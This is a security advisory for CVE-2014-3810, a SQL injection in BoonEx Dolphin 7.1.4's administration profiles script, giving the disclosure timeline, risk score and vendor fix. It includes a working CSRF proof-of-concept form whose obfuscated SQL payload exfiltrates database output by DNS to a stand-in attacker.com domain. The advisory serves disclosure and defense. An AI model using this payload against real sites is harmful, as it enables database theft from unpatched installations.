SQL Injection in Dolphin

Advisory ID:HTB23216
Product:Dolphin
Vendor:BoonEx
Vulnerable Versions:7.1.4 and probably prior
Tested Version:7.1.4
Advisory Publication:May 21, 2014 [without technical details]
Vendor Notification:May 21, 2014
Vendor Fix:June 17, 2014
Public Disclosure:June 18, 2014
Latest Update:June 17, 2014
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2014-3810
Risk Level:Medium
CVSSv2 Base Score:6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status:Solution Available
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in Dolphin, which can be exploited to perform SQL injection attacks and obtain sensitive information from the application database.


1) SQL Injection in Dolphin: CVE-2014-3810

The vulnerability exists due to insufficient sanitization of "members" array passed to "/administration/profiles.php" script. A remote authenticated administrator can send a specially crafted HTTP POST request to vulnerable script and execute arbitrary SQL commands in application’s database.

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in administrator to visit a web page with CSRF exploit.

The CSRF exploit code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The exploit will send a DNS request demanding IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

<form action="http://[host]/administration/profiles.php" method="post" name="main">
<input type="hidden" name="adm-mp-members-ctl-type" value="qlinks">
<input type="hidden" name="adm-mp-members-view-type" value="simple">
<input type="hidden" name="order_by" value="">
<input type="hidden" name="per_page" value="50">
<input type="hidden" name="members[]" value="') AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- ">
<input type="hidden" name="adm-mp-activate" value="Activate">
<input type="submit" id="btn">
</form>

How to Detect SQL Injection Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Apply vendor's instructions:
http://www.boonex.com/forums/topic/Medium-Risk-Security-Vulnerability-in-Dolphin-7-1.htm


References:
[1] High-Tech Bridge Advisory HTB23216 - https://www.immuniweb.com/advisory/HTB23216 - SQL Injection in Dolphin.
[2] Dolphin - http://www.boonex.com/dolphin - The world's most advanced software platform for building vibrant custom social networks and online communities.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
Related Security Advisories: HTB23157: SQL Injection in Dolphin
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter